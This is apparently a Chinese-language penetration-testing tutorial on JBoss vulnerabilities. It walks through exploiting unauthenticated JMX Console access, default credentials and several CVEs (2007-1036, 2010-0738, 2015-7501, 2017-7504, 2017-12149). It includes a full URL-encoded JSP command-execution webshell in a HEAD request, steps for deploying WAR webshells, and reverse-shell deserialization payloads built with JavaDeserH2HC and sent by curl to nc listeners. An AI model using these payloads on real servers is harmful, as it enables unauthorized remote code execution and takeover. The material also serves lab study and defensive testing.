Jboss漏洞
Jboss漏洞
hihopkc简介
一个基于J2EE的开放源代码的应用服务器
JBoss 是一个管理 EJB 的容器和服务器,但 JBoss 核心服务不包括支持servlet/JSP 的WEB容器,一般与Tomcat 或 Jetty 绑定使用。 Jboss 是 Java EE 应用服务器(就像Apache是web服务器一样),专门用来运行 Java EE 程序的。
Jboss历史漏洞
访问控制不严导致的漏洞
- JMX Console未授权访问
- Getshell Administration Console 弱口令 Getshell
- CVE-2007-1036 – JMX Console HtmlAdaptor Getshell
- CVE-2010-0738 – JMX控制台安全验证绕过漏洞
反序列化漏洞
- CVE-2013-4810 – JBoss EJBInvokerServlet 反序列化漏洞
- CVE-2015-7501 – JBoss JMXInvokerServlet 反序列化漏洞
- CVE-2017-7504 – JBoss 4.x JBossMQ JMS 反序列化漏洞
- CVE-2017-12149 – JBosS AS 6.X 反序列化漏洞
Jboss历史漏洞发现
Jboss漏洞检测
https://github.com/GGyao/jbossScan
https://github.com/joaomatosf/jexboss
Jboss历史漏洞利用
JMX Console 未授权访问漏洞
环境搭建
1 | docker search testjboss |
漏洞简介
Jboss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin ),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取 webshell
漏洞发现
访问
http://xx.xx.xx.xx/jmx-console/
如果能直接进入或者通过默认账号密码登录则代表存在漏洞
漏洞利用
- 远程部署war包
找到 jboss.deployment 选项 (Jboss自带的部署功能)中的 flavor=URL,type=DeploymentScanner 点进去(通过 url 的方式远程部署)也可以直接输入以下URL进入:
1 | http://ip:port/jmx-console/HtmlAdaptor? |
进入页面后找到 void addURL()
此时部署我们远程的war包木马
1 | #打包冰蝎jsp马为war包 |
然后后点击 Invoke 部署
随后点击 Back to MBean View 来到 URLList 中查看 Value 值是否已经部署好,并且为我们的远程 war 木马地址
最后点击 Apply Changes 后耐心等待一会儿,然后回到 JMX-Console 目录中
注意:等待的时间是有点长的
返回 jmx-console 目录找到 jboss.web.deployment 查看是否存在我们部署的war木马
访问地址: http://ip/shell/shell.jsp
Webshell 管理工具连接即可
Jboss弱口令Getshell
漏洞简介
JBoss Administration Console存在默认账号密码,如果Administration Console可以登录,就可以在后台部署war包getshell
jboss常见弱口令:
1 | admin/admin |
漏洞利用
点击Administration Console,使用admin/vulhub进入后台
输入默认账号密码 admin/vluhub
进入后找到Web Application (WAR)
然后随意进入一个war包
在content或Add a new resource部署war包即可,注意war包的名字不能是纯数字,例如 0123.war上传会出错
然后访问http://xx.xx.xx.xx/jebox/shell.jsp , 实际路径需要根据自己的war包进行修改
CVE-2007-1036
JMX Console HtmlAdaptor Getshell
漏洞简介
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到JMX控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中p1传入的是部署的war包名字,p2传入的是上传的文件的文件名,p3传入的是上传文件的文件格式,p4传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,p2和p3可以进行文件的拼接,例如p2=she,p3=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下。
影响版本
1 | jboss4.x以下 |
漏洞利用
利用后台中jboss.admin -> DeploymentFileRepository -> store()方法
- payload
1 | http://xx.xx.xx.xx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository |
通过访问上面的url定位到store()方法
Invoke之后会将p1参数创建war包,把p2和p3两个参数加起来当作文件名,p4是文件写入的内容
最后访问http://xx.xx.xx.xx/job1/job1.jsp即可
CVE-2010-0738
JMX Console安全验证绕过
漏洞简介
利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制
影响版本
1 | jboss4.2.0-jboss4.3.0 |
漏洞利用
- POC
1 | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=../jmx-console.war/&arg1=shell&arg2=.jsp&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%20%25%3e%20%0d%0a%3c%25%20%53%74%72%69%6e%67%20%63%6d%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%20%53%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%22%22%3b%20%69%66%28%63%6d%64%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%73%20%3d%20%6e%75%6c%6c%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6d%64%29%3b%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%73%49%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%77%68%69%6c%65%28%28%73%20%3d%20%73%49%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%70%75%74%20%2b%3d%20%73%20%2b%22%5c%72%5c%6e%22%3b%20%7d%20%7d%20%63%61%74%63%68%28%49%4f%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%20%65%2e%70%72%69%6e%74%53%74%61%63%6b%54%72%61%63%65%28%29%3b%20%7d%20%7d%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6f%75%74%70%75%74%29%3b%25%3e&arg4=True HTTP/1.1 |
访问 /jmx-console/shell.jsp?cmd=id
CVE-2015-7501
JMXInvokerServlet 反序列化漏洞
漏洞简介
CVE-2015-7501,JBoss 在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,JBoss 在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,从而导致了漏洞。
漏洞发现
访问 http://ip:port/invoker/JMXInvokerServlet,返回如下的response,说明接口是开放的,此接口存在漏洞
漏洞利用
下载反序列化利用工具:
https://github.com/joaomatosf/JavaDeserH2HC
1 | git clone https://github.com/joaomatosf/JavaDeserH2HC.git |
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
注意:如果是在windows中执行编译JavaDeserH2HC的操作,需要修改命令如下
1 | javac -cp ".;commons-collections-3.2.1.jar" ReverseShellCommonsCollectionsHashMap.java |
用netcat进行端口监听,接收反弹的shell
1 | nc -lvvp 端口 |
1 | curl http://xx.xx.xx.xx:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser |
CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞简介
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
影响范围
JBoss AS 4.x及之前版本
漏洞发现
访问 http://IP地址:端口/jbossmq-httpil/HTTPServerILServlet ,若出现如下界面则存在漏洞
漏洞利用
进入攻击机,下载反序列化工具
1 | git clone https://github.com/joaomatosf/JavaDeserH2HC.git |
进入目录执行
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
使用nc打开端口监听,再用之前生成的.ser文件,通过POST二进制数据上去,使用nc监听端口,即可拿到shell
1 | nc -lvp 4444 |
CVE-2017-12149
Jboss Application Server反序列化命令执行漏洞
漏洞简介
JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker组件中的ReadOnlyAccessFilter过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
影响范围
JBoss 5.x - 6.x
漏洞发现
访问 http://IP地址:端口/invoker/readonly,若返回如下显示状态码为500的报错界面,则证明漏洞存在
漏洞利用
下载利用反序列化工具 JavaDeserH2HC
1 | git clone https://github.com/joaomatosf/JavaDeserH2HC.git |
这里使用的反序列化工具对于CVE-2017-12149和CVE-2015-7501两个漏洞都可以进行利用,总体上都是利用Java的反序列化。
使用java编译ser文件,这个时候在这个目录下生成了一个
ReverseShellCommonsCollectionsHashMap.ser文件
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
使用nc监听端口:
1 | nc -lvvp 端口 |
curl请求反弹建立连接:
1 | curl http://IP地址:端口/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser |